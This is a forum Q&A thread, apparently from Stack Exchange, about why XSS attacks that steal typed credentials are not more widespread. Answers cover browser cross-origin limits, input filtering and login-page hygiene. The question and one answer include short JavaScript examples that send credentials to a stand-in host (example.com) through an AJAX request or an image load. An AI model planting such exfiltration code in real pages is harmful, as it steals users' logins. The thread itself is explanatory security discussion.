Well, I've been thinking about this for a while now.

Within the last decade, we've used various ways to make our websites look dynamic and live. For example, in JavaScript, it's quite easy to send data to a remote server using AJAX, even easier with Websockets.

Example for some malicious AJAX:

   xmlHttp = new XMLHttpRequest();
   function process() {
     var secret = getCredentials();
     if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
        xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
        setTimeout("process()", 1000);

Also, all of you will most likely agree with me that handling user input is a very common task that can be accomplished by using just a few lines of JavaScript.

So, then, why is that we don't see any amateurs try to perform XSS attacks that try to send our keyboard input to a webserver in the background in order to retrieve our login data?

Why is it that we do not seem to be permanently suffering from those kinds of attacks on every fourth website we visit, forcing us to change our login credentials in extremely short time spans?

Are all of our websites just so well-secured?

TL;DR: Why don't we need to change passwords every few days because of seemingly trivial XSS attacks?


As for AJAX, it seems that HTTP handles this issue just fine:

    XMLHttpRequest cannot load http://example.com/logger.php?password.
    No 'Access-Control-Allow-Origin' header is present on the requested

So at least for HTTP requests, this doesn't seem to be a problem. But as far as I know, websockets don't care about the source that they're reached from, or do they?

  • 3
    because browsers block ajax for other domains to prevent exactly this, the site needs to explicitly allow it Mar 26, 2014 at 10:00
  • 2
    There are many XSS attacks, and some of them are successful. And countless other attacks too. Security is hard, it's just not as fundamentally intractable as you seem to think. You appear to assume it's all but impossible to prevent even the most amateurish attacks, why?
    – delnan
    Mar 26, 2014 at 10:04
  • 1
    This would probably be the case if you, the user, were not in control over the sites you visit. Since you are, and while the owners of said sites have direct control over what they show on their page, most want you to come back (I doubt Yahoo would last long if it were discovered that it added some sort of plugin that recorded your paypal logins). That said, browser plugins can take control of what you view, and in fact most malware come in the form of browser plugins, not websites.
    – Neil
    Mar 26, 2014 at 10:05
  • @delnan I'm far from assuming that it's impossible – it's rather that I didn't ever suffer from anybody stealing my password via JavaScript, although websockets might just be the way to get away with it.
    – Chiru
    Mar 26, 2014 at 10:09
  • Perhaps someone got your password and you didn't realize it? ;-) I don't know what sites you frequent that need a password, but most of them are probably pretty major hubs, grown over many years, with hundreds of thousands, possible millions of users and a serious company behind them. While that's far from a guarantee, it does imply that they've had plenty of time and opportunity to find and fix the obvious holes -- either proactively, or because the hole was used for an earlier attack.
    – delnan
    Mar 26, 2014 at 10:13

4 Answers 4


The number one reason why we are not all compromised is that there are just not enough attackers to do the job, and most of you are not interesting enough targets either. Civilization as a whole can keep on running because most people are basically honest; you can walk in the street among complete strangers and none of them will try to punch you or stab you, despite the low numbers of police forces. This also works on the Internet.

Now that reason is also the one which explains while security holes induced by sloppy development appear to be allowed to linger for years. XSS ultimately comes from Web site developers who fail to handle input data from clients as data; they reflect such data by dumping it unmodified in pages returned to other clients, a fateful gesture by which they turn that data into code. This is a design bug, and since it has security consequences, that bug is a vulnerability.

Things are getting better gradually, though: now, many Web developers are at least aware that putting together a secure login page is not as easy as it seems. Among the operational rules that Web developers begin to follow more or less consciously is the idea that a "login page" is something special that should be separated from "normal pages" and that should, in particular, NOT contain any user-reflected data. A lot of programmers don't put it that way, either in written words or in the privacy of their mind, but they still follow such "hygienic" behaviours, which, like their biological counterparts, are effective even when you don't understand them.


Generally speaking, login pages don't display content that can be attacked with XSS. There isn't a good way to alter the code on that page to be able to monitor the entry. Also, in general, XSS protection is pretty good on most modern sites, at least on the parts where it could be particularly damaging.


Preventing cross-domain WebSockets is server-sided. So yes, a successful XSS attack can create a websocket connection to a 3rd party server and send sensitive information. But it's far from the only technique an XSS attack can use to leak information to a 3rd party server. Take the following code for example:

var password = getCredentials().password;
var account = getCredentials().account; 
new Image('http://www.example.com/l337hax0r/' + account + '_' + password);

Your browser would then try to load an image with a name which includes your username and password. The website example.com would then have an entry in its request-log with your account and password.

So "Why is it that we do not seem to be permanently suffering from those kinds of attacks on every fourth website we visit"? Because XSS attacks are only possible on websites which embed user-generated content. Sure, today almost any website does in some way. But filtering user-generated content in a way which makes it impossible to embed executable script-code in it isn't that hard either. There are lots of libraries which provide this functionality.


The security of the web hinges on trust.

You trust users to use a secure browser. You trust the browser to prevent cross-domain requests unless explicitly permitted (this seems like you're main concern). You trust your Twitter, Facebook, and jQuery libraries not to be doing anything nefarious. And as the user, you presumably trust only certain dot-coms to be real careful with their data, their practices, and with whom they trust.

Also ... as the user, you presumably don't install toolbars, plugins, and "anti-malware software" from sources you don't trust.

That said, there are plenty of end-users who do "lose" their credentials. There are plenty of dot-coms that are compromised. One or the other trusts someone or something they shouldn't have. Or one of them simply overlooks something. Even the major players can leave themselves open to XSS attacks.

You must log in to answer this question.